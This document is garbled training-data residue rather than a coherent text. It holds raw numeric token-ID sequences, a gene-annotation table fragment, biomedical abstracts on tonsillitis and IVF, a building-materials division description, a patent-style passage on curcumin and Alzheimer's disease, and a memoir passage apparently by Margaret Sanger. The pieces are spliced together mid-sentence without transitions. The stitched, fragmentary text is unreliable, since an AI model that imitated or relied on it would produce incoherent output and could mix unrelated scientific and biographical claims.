281, 1555, 23294, 434, 18742, 878, 281, 2075, 2810, 4116, 281, 1095, 42425, 1425, 187, 1147, 556, 644, 2361, 326, 470, 15, 18, 14, 18, 15, 17, 16769, 1095, 42425, 21425, 253, 275, 7991, 4702, 273, 30593, 9840, 13081, 14724, 13, 285, 8336, 253, 275, 7991, 14386, 273, 28381, 18, 14, 2945, 13081, 14724, 275, 22266, 6551, 31421, 3691, 1341, 15, 19028, 13, 500, 15, 38912, 15, 11382, 904, 22121, 13, 818, 13, 4416, 15, 1283, 13, 5826, 13, 608, 39328, 14, 3046, 520, 15, 11579, 42425, 671, 3777, 253, 2408, 273, 19663, 9840, 30593, 407, 7652, 6, 672, 2530, 275, 253, 6196, 273, 23294, 434, 4480, 15881, 3754, 275, 247, 1698, 6178, 273, 12036, 28273, 15, 12285, 13, 500, 15, 22054, 29409, 904, 6585, 10733, 15, 337, 13, 3127, 9, 1797, 10, 854, 23139, 14, 24, 15, 187, 1147, 4620, 326, 1095, 42425, 671, 2750, 280, 1365, 11355, 22413, 273, 9840, 30593, 15, 496, 4766, 10652, 5343, 14474, 3611, 14, 49381, 2205, 7600, 13, 6783, 28273, 15048, 1095, 42425, 3777, 30593, 9840, 22413, 5802, 407, 9840, 30593, 20457, 407, 670, 5096, 7739, 22864, 307, 10629, 90, 13, 22054, 4193, 311, 15, 329, 3390, 13, 3307, 13, 6585, 13, 898, 4590, 14, 38723, 15, 11579, 42425, 671, 3777, 9840, 30593, 23861, 7977, 407, 670, 1884, 14, 1449, 6, 672, 2530, 275, 253, 6196, 273, 23294, 434, 4480, 15881, 3754, 275, 247, 1698, 6178, 273, 12036, 28273, 15, 12285, 13, 500, 15, 22054, 29409, 904, 6585, 13, 10733, 15, 337, 13, 3127, 9, 1797, 10, 854, 23139, 14, 24, 15, 831, 310, 24400, 984, 352, 310, 6566, 326, 253, 14746, 285, 10142, 4723, 4269, 407, 5446, 310, 7939, 281, 26832, 451, 2380, 281, 30593, 9840, 22413, 15, 187, 688, 1635, 281, 697, 12912, 2250, 1411, 19663, 9840, 30593, 13, 1095, 42425, 556, 10665, 3270, 14, 39998, 800, 3607, 285, 671, 21425, 253, 2048, 273, 354, 14, 13901, 16011, 15, 6893, 13, 7359, 15, 35412, 15, 13219, 5946, 610, 13, 5826, 4437, 14, 9150, 15, 1722, 13, 577, 13, 28534, 14, 2691, 13, 285, 16809 ]	* 82 1 24 12 20 57 MRU00113 Myb transcription factor (HQ661039.1) Dimocarpus longan 76 3 2 5 MRU00098 UDP-glucose:flavonoid 3-O-glucosyltransferase (UFGT) (AY695815.1) Fragaria ananassa 59 1 1 Flavor MRU00009 Vacuolar ATP synthase subunit G1 (FJ906831.1) Jatropha curcas 81 3 5 8 MRU00061 6-phosphogluconate dehydrogenase (EU815934.1) Cucumis sativus 87 1 1 1 3 MRU00369 Alpha glucosidase-like protein (AB240194.1) Hordeum vulgare 68 1 1 MRU00046 β 1--3 glucanase (EU676805.1) Vitis riparia 75 2 2 Texture MRU00130 Polygalacturonase inhibitor-like protein (PGIP) (AJ515557.1) Cicer arietinum 88 1 1 MRU00124 Polygalacturonase (PG) (AY062697.1) Arabidopsis thaliana 63 1 1 MRU00022 Peroxidase (POD) (FJ473421.1) Litchi chinensis 72 2 2 Aroma MRU00010 Alcohol dehydrogenase (ADH) (JF357957.1) Diospyros kaki 81 4 10 14 MRU00108 Alcohol dehydrogenase (ADH) (AM062702.1) Alnus glutinosa 94 1 1 MRU00126 Alcohol dehydrogenase (ADH) (AF194173.1) Vitis vinifera 88 4 4 MRU00002 Short chain alcohol dehydrogenase (AY084550.1) Arabidopsis thaliana 71 1 1 MRU00315 Short chain alcohol dehydrogenase (AB192882.1) Solanum tuberosum 64 1 1 Assessment of adenosine deaminase (ADA) activity and oxidative stress in patients with chronic tonsillitis. To emphasize the effectiveness of adenosine deaminase (ADA) enzyme, which has important roles in the differentiation of lymphoid cells, and oxidative stress in patients with chronic tonsillitis. Serum and tissue samples were obtained from 25 patients who underwent tonsillectomy due to recurrent episodes of acute tonsillitis. In the control group, which also had 25 subjects, only serum samples were taken as obtaining tissue samples would not have been ethically appropriate. ADA enzyme activity, catalase (CAT), carbonic anhydrase (CA), nitric oxide (NO) and malondialdehyde (MDA) were measured in the serum and tissue samples of patients and control group subjects. The serum values of both groups were compared. In addition, the tissue and serum values of patients were compared. Serum ADA activity and the oxidant enzymes MDA and NO values of the patient group were significantly higher than those of the control group (p < 0.001), the antioxidant enzymes CA and CAT values of the patient group were significantly lower than those of the control group (p < 0.001). In addition, while CA, CAT and NO enzyme levels were found to be significantly higher in the tonsil tissue of the patient group when compared to serum levels (p < 0.05), there was no difference between tissue and serum MDA and ADA activity (p > 0.05). Elevated ADA activity may be effective in the pathogenesis of chronic tonsillitis both by impairing tissue structure and contributing to SOR formation.The effect of different methods of ovarian stimulation for human in vitro fertilization and embryo replacement. Many types of medication regimens have been used to produce ovarian stimulation for in vitro fertilization and embryo replacement. However, few comparative studies have been reported. In this investigation, 105 patients were given either clomiphene citrate alone, human menopausal gonadotropins alone, or a combination of these drugs; and the resulting number of oocytes collected, embryos produced, and pregnancies initiated are reported. The data demonstrate optimal follicle development and fertilization rates with combinations of drugs, rather than the use of a single agent. Further studies are needed to determine whether there is a statistically significant difference in pregnancy rates between groups.Environmental Science & Technology / Clay Product Environmental Science and Technology (EST) Division is engaged in R&D work on the development of process technologies for the manufacture of cementitious products from agro-industrial wastes such as rice husk, fly ash, blast furnace slag, in phosphogypusm and lime sludges. Emphasis is laid on environmental pollution control in process industries related to building materials, such as cement, lime, bricks and pest management in buildings. R&D HIGHLIGHTS Cement Products Masonry cements and other cementitious binders from agro-industrial wastes Low temperature cement using mineralizers Portland-pozzolana cement Portland slag cement Super-sulphated cement Rice husk ash cement Pollution control system for lime kilns Gypsum Products Fibrous Gypsum Plaster Boards Water – resistant Gypsum Binder Gypsum Blocks Multiphase Plaster Anhydrite cement Gypsum Tiles Pollution Monitoring Ambient Air Quality Monitoring River, Lake and ground water quality monitoring for organic and inorganic pollution. EXPERTISE INFRASTRUCTURE & TESTING FACILITIES The Division has modern equipments for evaluation of different argillites, solid fuels, agro-industrial wastes like fly ash, red mud mining & mineral tailings etc. These materials constitute the major bulk of raw materials in the manufacturing of bricks and tiles. The test facilities includeIn Alzheimer's Disease (AD), the abnormal cleavage of beta amyloid protein precursor from the intracellular membrane often produces a protein Aβ 1-42 which is incompletely removed by normal clearance processes. It has been reported that soluble beta amyloid oligomers are highly neurotoxic. Moreover, over time, this soluble protein assemblage is deposited as a beta amyloid protein Aβ plaque within brain tissue, leading to the local destruction of neurons. The Aβ plaque deposition is also believed to provoke an inflammatory response by microglia and macrophages, which recognize the plaque as a foreign body. These cells are believed to respond to the plaque deposition by releasing pro-inflammatory cytokines and reactive oxygen species (ROS). Although the inflammatory response may be provoked in an effort to clear the brain tissue of the detrimental plaque, it is now believed that this inflammation also injures local neuronal tissue, thereby exacerbating AD. Soluble oligomers of beta amyloid or “ADDLs” are a neurotoxic species implicated in AD pathogenesis. Yang, J. Biol. Chem., 280, 7, Feb. 18, 2005, 5892-5901. In the book “The Memory Cure” (2003, McGraw-Hill, N.Y., N.Y.), Dr. Majid Fotuhi writes: “Pharmaceutical companies in search of magic drugs to treat Alzheimer's Disease need to pay close attention to curcumin.” It has been reported that 0.1-1.0 μM curcumin inhibits the in vitro formation of amyloid beta oligomers, and blocks the in vitro toxicity of Aβ1-42 oligomers in differentiated neuroblastoma cells. Yang, J. Biol. Chem., 280, 7, Feb. 18, 2005, 5892-5901. Curcumin also reduced the amount of soluble beta amyloid by 43% when provided in the diet of Alzheimer's Transgenic mice in a low dose of 160 ppm. Lim, J. Neurosci., 2001 Nov. 1, 21(21) 8370-7. It appears that curcumin also beneficially reduces deposits of beta amyloid. In middle aged female Sprague-Dawley rats, 500 ppm dietary curcumin reduced amyloid beta deposits induced by beta amyloid infusion by about 80%. Frautschy, Neurobiol. Aging, 22, 2001, 993-1005. Curcumin also reduced beta amyloid plaque burden by about 30-40% when provided in the diet of Alzheimer's Transgenic mice in a low dose of 160 ppm. Lim, J. Neurosci., 2001, Nov. 1, 21(21) 8370-7. This is advantageous because it is believed that the oxidative and inflammatory damage caused by AD is linked to microglial response to amyloid beta deposits. In addition to its beneficial action against soluble beta amyloid, curcumin has considerable anti-oxidative properties and also inhibits the expression of pro-inflammatory cytokines. Frank, Ann. Clin. Psychiatry, 2005 October-Dec. 17, 4, 269-86, and Cole
[ 574, 13937, 369, 19437, 13, 533, 309, 11512, 326, 309, 369, 1620, 969, 1469, 281, 2312, 281, 731, 13, 285, 13, 672, 352, 4455, 3309, 326, 597, 320, 9713, 13, 309, 2197, 2571, 281, 513, 352, 15, 187, 187, 3220, 11219, 1255, 6386, 273, 29608, 4821, 281, 320, 33917, 281, 9749, 15, 1876, 949, 253, 1107, 352, 556, 644, 751, 247, 28026, 1014, 281, 1158, 273, 247, 13910, 6519, 15, 309, 12316, 12833, 20595, 281, 564, 1060, 390, 627, 13, 285, 840, 3597, 281, 7740, 352, 15, 380, 4131, 352, 369, 281, 320, 8549, 309, 48752, 342, 247, 3199, 30043, 5471, 534, 8899, 715, 247, 3686, 273, 7075, 604, 309, 4136, 4266, 281, 23031, 327, 352, 15, 733, 369, 15444, 281, 6008, 1078, 247, 4804, 15, 187, 187, 6080, 952, 476, 1978, 271, 8446, 43219, 342, 22569, 285, 2568, 755, 689, 247, 3935, 15, 1292, 309, 2550, 15, 16120, 3335, 513, 619, 344, 44798, 452, 2712, 49570, 432, 479, 15, 2006, 4534, 398, 2223, 1333, 13, 346, 19258, 257, 598, 634, 2256, 449, 309, 452, 1900, 501, 8006, 436, 28, 309, 717, 253, 39092, 273, 2255, 665, 452, 2717, 281, 9012, 387, 15, 187, 187, 8262, 5308, 2652, 415, 2378, 25995, 326, 309, 574, 642, 3282, 273, 20393, 15, 309, 369, 9861, 387, 779, 13, 533, 309, 812, 2096, 521, 3908, 275, 247, 1039, 28, 344, 574, 644, 387, 760, 247, 1643, 12225, 347, 16782, 285, 309, 574, 644, 4092, 281, 253, 1127, 273, 3846, 28399, 13, 46060, 600, 9745, 6593, 5299, 784, 5441, 285, 14138, 9990, 15, 309, 369, 48635, 387, 271, 5107, 281, 3986, 521, 8446, 984, 13, 10793, 344, 369, 4395, 407, 2712, 11617, 13, 344, 4159, 247, 2926, 275, 521, 5084, 534, 407, 1921, 273, 697, 3576, 33740, 285, 6032, 36045, 26740, 264, 2571, 281, 253, 1072, 6070, 15, 187, 187, 42, 452, 574, 1199, 794, 13, 3738, 352, 778, 452, 23532, 456, 760, 281, 253, 21383, 9096, 273, 3858, 15, 7243, 846, 4933, 752, 309, 1869, 369, 247, 1077, 598, 14, 936, 14, 2754, 13, 15009, 959, 2312, 387, 253, 8178, 23407, 71, 14, 34699, 20130, 13, 247, 11761, 1711, 10692, 13, 387, 1878, 275, 617, 4766, 4314, 447, 13, 1931, 3606, 4404, 479, 342, 253, 8596, 273, 247, 37747, 285, 275, 36316, 4318, 572, 1123, 433, 13, 346, 42, 452, 19624, 2439, 253, 2586, 281, 4089, 368, 3984, 13, 5767, 38236, 2971, 15, 2752, 3101, 908, 281, 1239, 634, 25443, 281, 479, 672, 309, 369, 247, 1652, 3226, 13, 285, 309, 1928, 436, 310, 247, 1270, 1388, 323, 479, 281, 320, 2104, 281, 39712, 634, 1133, 449, 1500, 574, 13477, 479, 342, 253, 17502, 405, 13, 20145, 444, 15, 38236, 2971, 13, 665, 275, 253, 4260, 14, 47, 7795, 14860, 21672, 574, 644, 247, 3963, 24938, 281, 7231, 22575, 15, 187, 187, 42, 570, 87, 20961, 309, 452, 644, 11485, 15070, 875, 619, 509, 15305, 281, 513, 436, 789, 285, 247, 419, 17852, 5471, 326, 309, 369, 687, 30690, 619, 2151, 273, 673, 281, 534, 597, 497, 7429, 15, 8247, 275, 33920, 309, 574, 574, 690, 21248, 10732, 273, 1146, 2104, 281, 6947, 512, 619, 14568, 398, 342, 731, 387, 18324, 14, 10700, 15, 2064, 8113, 552, 3524, 574, 644, 4745, 18335, 456, 984, 1512, 1142, 41472, 3407, 281, 9413, 352, 285, 253, 1659, 3395, 6195, 3606, 342, 1842, 1241, 285, 924, 4121, 15, 15763, 473, 8, 41437, 434, 7120, 497, 1146, 4197, 327, 253, 364, 45289, 7285, 6393, 754, 13078, 657, 10245, 434, 2419, 13, 285, 841, 3982, 1142, 625, 952, 15, 309, 3078, 281, 755, 1977, 1014, 2007, 13, 285, 594, 858, 5332, 24518, 13, 665, 574, 671, 7799, 35514, 627, 15, 329, 1524, 8304, 5570, 2335, 779, 281, 2822, 14, 1615, 20115, 287, 835, 253, 4669, 273, 1457, 2816, 398, 574, 417, 2568, 6727, 69, 13, 285, 309, 369, 12470, 281, 1705, 2112, 15, 844, 3047, 247, 1652, 2419, 327, 247, 1652, 13599, 13, 581, 273, 253, 954, 9129, 275, 253, 7773, 15, 23195, 352, 253, 28084, 292, 7121, 10785, 751, 247, 9711, 28865, 281, 253, 12927, 15, 743, 1711, 6150, 13595, 574, 30044, 285, 43966, 285, 14662, 253, 4522, 1653, 13, 3982, 731, 598, 432, 253, 7618, 32121, 275, 247, 31474, 11179, 13, 285, 45170, 731, 18996, 2366, 342, 14872, 759, 5943, 15, 380, 8576, 369, 6627, 285, 5890, 13, 285, 4455, 347, 2167, 1142, 14268, 285, 268, 447, 574, 644, 30363, 275, 352, 15, 187, 187, 16082, 8686, 253, 29705, 13, 533, 344, 369, 1620, 2104, 281, 3153, 627, 15, 1284, 247, 4750, 35260, 273, 253, 28634, 20308, 344, 369, 277, 3834, 432, 253, 13338, 48898, 285, 17826, 9974, 281, 253, 5284, 3660, 285, 896, 969, 281, 1457, 2816, 15, 496, 27062, 13, 8958, 309, 13, 1512, 13, 574, 3261, 387, 352, 342, 40484, 2927, 13, 344, 2546, 1880, 309, 651, 751, 281, 4489, 352, 28, 344, 369, 4983, 323, 7422, 253, 1735, 1388, 285, 574, 281, 452, 4704, 2583, 15, 2896, 247, 13476, 4839, 309, 574, 816, 2959, 247, 2451, 323, 247, 8014, 8918, 275, 7830, 323, 690, 8068, 29608, 15, 844, 25920, 2451, 285, 22793, 15, 754, 1669, 253, 1735, 1388, 323, 253, 2659, 273, 9023, 364, 1622, 7641, 12665, 5308, 13, 521, 3331, 13, 574, 2168, 4783, 285, 40689, 6747, 369, 281, 1091, 15, 187, 187, 5178, 7641, 13, 665, 574, 25060, 36431, 5052, 281, 772, 3459, 13, 574, 644, 9833, 285, 21517, 327, 19590, 25032, 407, 18827, 466, 33747, 15, 1500, 574, 24184, 959, 352, 46107, 281, 452, 779, 15792, 562, 273, 253, 2586, 15, 309, 574, 574, 247, 1048, 2312, 342, 779, 1078, 344, 574, 1160, 598, 521, 2564, 7964, 281, 3553, 15, 380, 7827, 3982, 896, 281, 479, 253, 5406, 273, 253, 2069, 344, 285, 309, 574, 7428, 598, 285, 1066, 253, 20904, 40753, 256, 2287, 285, 344, 574, 1677, 479, 824, 1175, 5067, 670, 417, 28068, 3006, 253, 15704, 273, 253, 2151, 15, 187, 187, 15745, 665, 574, 10066, 7641, 323, 521, 346, 43442, 275, 253, 11320, 3, 7535, 387, 253, 2790, 3796, 9974, 497, 253, 1072, 665, 497, 18327, 521, 22802, 521, 19590, 15, 3932, 253, 1388, 359, 574, 2366, 11580, 253, 330, 15, 40, 15, 53, 15, 12225, 275, 7785, 13, 7641, 574, 1705, 281, 923, 253, 37398, 273, 16625, 4364, 28, 326, 13, 2581, 685, 298, 2435, 763, 275, 12907, 835, 344, 812, 14294, 642, 4217, 4096, 13, 247, 22564, 943, 13, 604, 344, 812, 13, 33927, 2994, 15, 346, 1328, 665, 24662, 285, 6613, 1977, 13, 588, 3153, 281, 3819, 1529, 1388, 449, 831, 13, 2556, 281, 253, 2448, 2934, 13, 369, 35840, 547, 1128, 5658, 943, 3297, 285, 320, 247, 16172, 6147, 15, 1292, 281, 7641, 352, 369, 1024, 7960, 2159, 18347, 264, 15, 754, 574, 7945, 326, 253, 3388, 12954, 672, 344, 2427, 275, 323, 4172, 5341, 285, 1133, 14, 936, 14, 4608, 11757, 369, 20698, 1078, 344, 574, 13207, 15, 754, 8156, 253, 5820, 574, 644, 8085, 407, 253, 3660, 28, 597, 574, 417, 25536, 285, 6225, 598, 1411, 772, 3459, 342, 667, 27882, 15, 1583, 812, 417, 347, 2568, 320, 32945, 2220, 347, 247, 3490, 13, 533, 690, 1388, 344, 13937, 281, 1091, 285, 294, 7397, 907, 731, 15, 187, 187, 53, 579, 287, 2530, 253, 2151, 342, 1264, 1557, 4924, 2607, 1046, 5768, 275, 752, 1335, 3133, 281, 479, 581, 273, 253, 954, 5389, 13977, 275, 253, 1533, 15, 1198, 2067, 1107, 309, 10416, 327, 281, 436, 7156, 273, 1146, 342, 731, 11485, 13, 533, 352, 369, 760, 247, 7156, 15, 309, 908, 281, 564, 1066, 281, 1527, 253, 2419, 285, 4931, 3802, 1506, 247, 2129, 390, 594, 627, 1078, 1146, 26337, 281, 24284, 896, 13, 533, 3392, 285, 619, 7586, 20877, 497, 1175, 22846, 14, 24905, 15, 831, 2419, 369, 6524, 281, 5451, 347, 574, 253, 581, 275, 49234, 28, 13742, 4455, 281, 21356, 309, 943, 417, 320, 33400, 281, 15813, 896, 715, 19951, 41574, 5755, 15, 187, 187, 22427, 858, 309, 452, 512, 1110, 13937, 323, 1107, 273, 7487, 253, 8290, 1756, 432, 581, 3924, 281, 1529, 15, 309, 574, 574, 281, 12106, 253, 4112, 1128, 26597, 281, 1978, 731, 387, 1728, 762, 253, 20446, 273, 20325, 665, 1537, 4931, 320, 43650, 13, 285, 281, 452, 642, 625, 685, 253, 11284, 273, 6523, 731, 15792, 281, 3722, 13, 390, 2010, 281, 17789, 619, 14834, 10450, 285, 1691, 731, 275, 2586, 6629, 6828, 407, 7032, 26616, 835, 597, 812, 1421, 247, 5875, 13, 3963, 1495, 15, 14566, 1705, 281, 436, 6158, 3061, 309, 2197, 731, 745, 9648, 2872, 13, 285, 17096, 812, 760, 4143, 731, 689, 2129, 14, 1727, 390, 327, 253, 7520, 15530, 672, 309, 369, 8288, 275, 253, 21520, 15, 1310, 253, 8327, 281, 923, 731, 8899, 4457, 1453, 13, 309, 2335, 253, 806, 6194, 285, 2959, 253, 6966, 273, 4560, 731, 16575, 2600, 264, 275, 253, 24835, 1456, 597, 574, 1160, 323, 3746, 28, 846, 253, 3302, 18349, 273, 39359, 574, 4817, 1977, 597, 6337, 745, 969, 281, 616, 3958, 15, 187, 187, 3404, 2069, 253, 9076, 46113, 323, 731, 4455, 1512, 1199, 281, 8800, 28, 3340, 369, 436, 2032, 275, 253, 39056, 5720, 11803, 15, 2091, 309, 2210, 275, 3563, 387, 2360, 253, 3289, 369, 3846, 275, 253, 12525, 13, 253, 1984, 1527, 327, 253, 2829, 13, 253, 38081, 8231, 327, 253, 5254, 13, 253, 30055, 11267, 6216, 327, 253, 30929, 1128, 455, 253, 1072, 1128, 6309, 347, 309, 574, 1669, 731, 247, 1388, 13, 247, 2129, 13, 390, 247, 1770, 1078, 15, 2064, 806, 27450, 273, 43241, 369, 1900, 622, 11822, 15, 309, 3078, 13, 347, 247, 1429, 1057, 13, 281, 320, 751, 643, 952, 28, 309, 3078, 281, 320, 2104, 281, 16338, 47444, 715, 253, 26326, 285, 15795, 273, 247, 18248, 2021, 10112, 15, 187, 187, 510, 8986, 273, 27062, 14, 1093, 369, 3782, 1892, 28, 253, 8762, 39147, 1029, 285, 20578, 1048, 13, 285, 352, 2335, 6726, 17639, 281, 1978, 634, 19851, 598, 15, 3196, 15, 6393, 14449, 1299, 17839, 479, 326, 342, 2636, 284, 6134, 4832, 7664, 13, 18766, 1551, 13, 275, 829, 386, 15153, 13, 14697, 34470, 8922, 13, 309, 812, 417, 11883, 1048, 15, 2091, 13, 3103, 13, 247, 19600, 2546, 479, 323, 247, 1984, 327, 5299, 3237, 13, 309, 48134, 3578, 14, 2913, 14, 744, 13629, 562, 273, 2143, 285, 873, 745, 323, 5002, 13, 3192, 247, 1355, 1659, 387, 36527, 3377, 835, 309, 2206, 4266, 1066, 323, 1264, 2607, 281, 3630, 285, 281, 755, 41061, 342, 619, 3347, 15, 187, 187, 42, 7636, 253, 34793, 15, 733, 369, 247, 11284, 281, 320, 562, 14, 1171, 14, 26695, 13, 281, 452, 6330, 285, 7107, 285, 253, 27335, 281, 23240, 619, 7906, 285, 1691, 731, 327, 2929, 15, 309, 574, 642, 30388, 4404, 247, 5299, 1984, 13, 533, 16575, 11346, 13872, 13155, 619, 15482, 14, 484, 10450, 327, 23724, 285, 253, 1457, 23752, 15, 733, 369, 1175, 281, 30215, 4606, 285, 873, 731, 275, 1340, 15, 2752, 11626, 858, 20177, 13, 285, 352, 369, 247, 1270, 3727, 15, 187, 187, 42, 369, 24863, 314, 17328, 273, 5754, 581, 1388, 672, 13629, 2210, 1728, 432, 253, 2143, 344, 369, 16362, 13, 1097, 521, 2927, 3965, 16076, 14, 13565, 15, 309, 2546, 779, 2139, 344, 574, 644, 8615, 15, 187, 187, 3, 42, 1053, 626, 971, 281, 2028, 368, 449, 187, 187, 3, 42, 1871, 751, 281, 871, 449, 187, 187, 3, 4497, 13, 436, 5006, 2183, 512, 253, 36339, 619, 3101, 1871, 644, 275, 12907, 449, 187, 187, 3, 1276, 858, 368, 513, 865, 187, 187, 3, 42, 4352, 779, 13, 285, 344, 4352, 479, 896, 15, 754, 753, 13, 686, 7093, 3101, 434, 247, 12907, 23182, 4117, 285, 309, 753, 13, 686, 2993, 434, 417, 2464, 2635, 1529, 7715, 753, 13, 686, 3220, 3101, 2296, 634, 3101, 2427, 281, 12907, 1512, 2464, 346, 187, 187, 35723, 574, 10017, 13, 346, 2773, 3589, 626, 619, 3101, 13, 326, 369, 1529, 20145, 322, 3751, 449, 187, 187, 3, 2347, 812, 368, 1333, 326, 13, 13629, 32, 1422, 871, 352, 3589, 626, 2032, 449, 187, 187, 3, 29859, 937, 344, 10017, 38245, 13, 346, 5658, 812, 1620, 1056, 1110, 36339, 2096, 449, 187, 187, 817, 10372, 19388, 14, 531, 187, 187, 817, 4392, 3016, 5935, 5689, 24375, 1433, 187, 187, 9707, 2362, 273, 619, 4143, 281, 4693, 275, 18471, 369, 253, 5068, 273, 619 ]	had hoped was useless, but I resolved that I was never again going to talk to them, and, when it seemed necessary that they be addressed, I sent others to do it. My nervousness ahead of lectures continued to be akin to illness. All through the years it has been like a nightmare even to think of a pending speech. I promised enthusiastically to go here or there, and then tried to forget it. The morning it was to be delivered I awakened with a panicky feeling which grew into a sort of terror if I allowed myself to dwell on it. It was fatal to eat before a meeting. Some people can keep an audience rocking with laughter and yet get over a message. But I cannot. Seldom do my hearers have anything merry from me. Advisers often say, "Lighten up your subject." I have always resented this; I am the protagonist of women who have nothing to laugh at. Heywood Broun once remarked that I had no sense of humor. I was surprised at him, but I could understand his statement in a way; he had been at only a few meetings as chairman and I had been serious to the point of deadliness, purposely bringing forth laborious facts and dramatic statistics. I was grasping at an opportunity to reach his audience because, whenever he was moved by anything deeply, he wrote a story in his column which by reason of its effective irony and smooth prose swayed others to the same extent. I have had much fun, although it may have penetrated only to the intimate circle of friends. Once after giving what I thought was a very up-to-date, spirited talk at the Waldorf-Astoria, a dear old lady, at least in her middle eighties, tottered towards me with the aid of a cane and in trembling voice quavered, "I have traveled across the country to hear you speak, Miss Sangster. My mother used to read your poems to me when I was a little girl, and I feel this is a great day for me to be able to clasp your hand." She had confused me with the poetess, Margaret E. Sangster, who in the mid-Nineteenth Century had been a regular contributor to religious magazines. Inevitably I have been constantly torn between my compulsion to do this work and a haunting feeling that I was robbing my children of time to which they were entitled. Back in 1913 I had had some vague notion of being able to spend all my summers with them at Province-town. That visionary hope had been immediately dissipated because too many painters began to discover it and the place became littered with easels and smocks. Gene O'Neill's plays were being produced on the wharf opposite Mary Heaton Vorse's house, and these brought many more people. I wanted to get away even further, and so did Jack Reed, who had also sought sanctuary there. A real estate agent took him to near-by Truro where the feet of New Yorkers had not yet trod, and I was invited to come along. We saw a little house on a little hill, one of the most ancient in the village. Below it the Pamet River wound like a silver ribbon to the ocean. An old sea captain had squared and smoothed and fitted the timbers, brought them up from the Carolinas in a sailing vessel, and fastened them tightly together with wooden pegs. The kitchen was bright and warm, and seemed as though many cookies and pies had been baked in it. Jack bought the cottage, but he was never able to live there. As a staff correspondent of the Metropolitan Magazine he was dashing from the Colorado Fuel and Iron strike to the European War and back again to New York. In 1917, knowing I, too, had looked at it with longing eyes, he asked whether I would like to buy it; he was starting for Russia the next day and had to have ready money. By a lucky chance I had just received a check for a thousand dollars in payment for some Chicago lectures. We exchanged check and deed. He left the next day for the land of promise whither Bill Haywood, his friend, had already gone and whence neither was to return. Big Bill, who had steadily advocated resistance to conscription, had been arrested and freed on bail furnished by Jessie Ashley. She had forfeited it gladly to have him safely out of the country. I had had a long talk with him before he had made up his mind definitely to leave. The conversation brought back to me the picture of the times he and I had walked up and down the Cape Cod sands and he had given me such good counsel about not jeopardizing the happiness of the children. Those who had opposed Bill for his "hands in the pocket" advice at the Paterson strike were the same who were opposing his jumping his bail. Since the day we had together visited the C.G.T. meetings in Paris, Bill had come to see the virtues of expediency; that, rather than languish in jail where he could accomplish no useful purpose, a revolutionary should, if he could, exile himself. "He who fights and runs away, will live to fight another day." This, according to the American idea, was cowardice—you should stay and be a martyr. But to Bill it was now merely shortsighted. He had concluded that the average worker when he went in for rioting and hand-to-hand combat was beaten before he had begun. He realized the workers had been split by the War; they had not united and stood up against conscription with any backbone. They could not as yet be depended upon as a force, but some day he hoped to return and reorganize them. Truro provided the children with three carefree months every summer in what still seems to me one of the most beautiful spots in the world. For several years I hung on to this dream of being with them constantly, but it was only a dream. I used to go down to open the house and perhaps snatch a week or so there before being obliged to hurry back, but father and my sister Nan were good foster-parents. This house was eventually to burn as had the one in Hastings; fate seemed to decree I should not be tempted to slip back into peaceful domesticity. Nor did I have all those hoped for years of watching the boys grow from one stage to another. I had had to analyze the situation—either to keep them at home under the supervision of servants who might perhaps be incompetent, and to have no more than the pleasure of seeing them safely to bed, or else to sacrifice my maternal feelings and put them in country schools directed by capable masters where they could lead a healthy, regular life. Having come to this latter decision I sent them off fairly young, and thereafter could only visit them over week-ends or on the rare occasions when I was speaking in the vicinity. If the desire to see them grew beyond control, I took the first train and received the shock of finding them thoroughly contented in the companionship they had made for themselves; after the initial excitement of greeting had passed away they ran off again to their games. At times the homesickness for them seemed too much to bear; especially was this true in the Fourteenth Street studio. When I came in late at night the fire was dead in the grate, the book open on the table, the glove dropped on the floor, the pillow rumpled on the sofa—all the same—just as I had left them a day, a week, or a month before. That first chill of loneliness was always appalling. I wanted, as a child does, to be like other people; I wanted to be able to sink gratefully into the warmth and glow of a loving family welcome. The winter of 1917-18 was particularly hard; the snow drifted high and lasted long, and it took forced cheer to keep your spirits up. Dr. Mary Halton assured me that with ceaseless financial worry, inadequate rest, incessant traveling, improper nourishment, I could not survive long. When, therefore, a publisher asked me for a book on labor problems, I snatched ten-year-old Grant out of school and set off for California, taking a small place at Coronado where I sat myself down for three months to write and to get acquainted with my son. I loved the sunshine. It was a pleasure to be out-of-doors, to have peace and quiet and the leisure to arrange my thoughts and put them on paper. I had no inclination towards a labor book, but thoroughly enjoyed letting loose my pent-up feelings on Woman and the New Race. It was good to classify reasons and set them in order. My opinions did emerge, and it was a great release. I was vividly reminded of prison one day when Grant came home from the school he was attending, both his eyes pretty dirty-looking. I asked him why he had been fighting. "I don't want to tell you." "I'd like to know." "Well, this boy told all the fellows my mother'd been in jail." "What did you do?" "I hit him, and he hit me back. He said, 'Your mother's a jailbird,' and I said, 'She's not.' Then another fellow said, 'My mother says your mother went to jail too.' " Grant had replied, "That wasn't my mother, that was another Margaret Sanger." "How could you say that, Grant? You know it wasn't true." "Mother," he replied profoundly, "you could never make those fellows understand." ## Chapter Twenty-one ## THUS TO REVISIT THE event of my visit to London in 1920 was the beginning of my
[ 64, 41315, 64, 1968, 426, 26608, 11158, 2534, 376, 11884, 187, 3306, 64, 483, 1282, 15, 5564, 426, 5595, 23537, 501, 30090, 1448, 3389, 80, 313, 69, 706, 282, 502, 280, 5586, 5645, 343, 16, 1987, 376, 254, 23034, 3897, 3284, 375, 10, 187, 3306, 64, 483, 1282, 64, 1968, 426, 2213, 30090, 372, 3389, 80, 187, 38729, 942, 15, 5564, 426, 5595, 23537, 3067, 2084, 375, 187, 38729, 942, 64, 1968, 426, 2006, 75, 2084, 375, 187, 394, 28134, 15, 5564, 426, 5595, 23537, 12949, 4953, 284, 187, 394, 28134, 64, 1968, 426, 24244, 4953, 284, 187, 8606, 2009, 15, 5564, 426, 19523, 5546, 546, 1045, 3389, 80, 187, 8606, 2009, 64, 1968, 426, 19523, 5546, 187, 30857, 64, 6377, 64, 5564, 426, 367, 31076, 1758, 12033, 6377, 599, 187, 30857, 64, 6377, 64, 32688, 426, 24244, 42582, 372, 826, 268, 31076, 1758, 12033, 6377, 599, 187, 8606, 64, 1968, 426, 19523, 5546, 27, 187, 8606, 64, 35065, 15, 5564, 426, 3035, 19657, 274, 826, 13235, 1049, 274, 32206, 372, 826, 1315, 511, 187, 8606, 64, 35065, 64, 1968, 426, 743, 9085, 187, 8606, 64, 8384, 15, 5564, 426, 3035, 19657, 274, 826, 9788, 86, 25341, 1049, 274, 32206, 372, 19764, 1315, 511, 187, 8606, 64, 8384, 64, 1968, 426, 31927, 86, 25341, 187, 8606, 64, 30703, 426, 2213, 2711, 274, 23034, 187, 8606, 64, 8992, 64, 5045, 64, 1968, 426, 2434, 1763, 301, 14994, 372, 778, 6187, 84, 11379, 1222, 6187, 84, 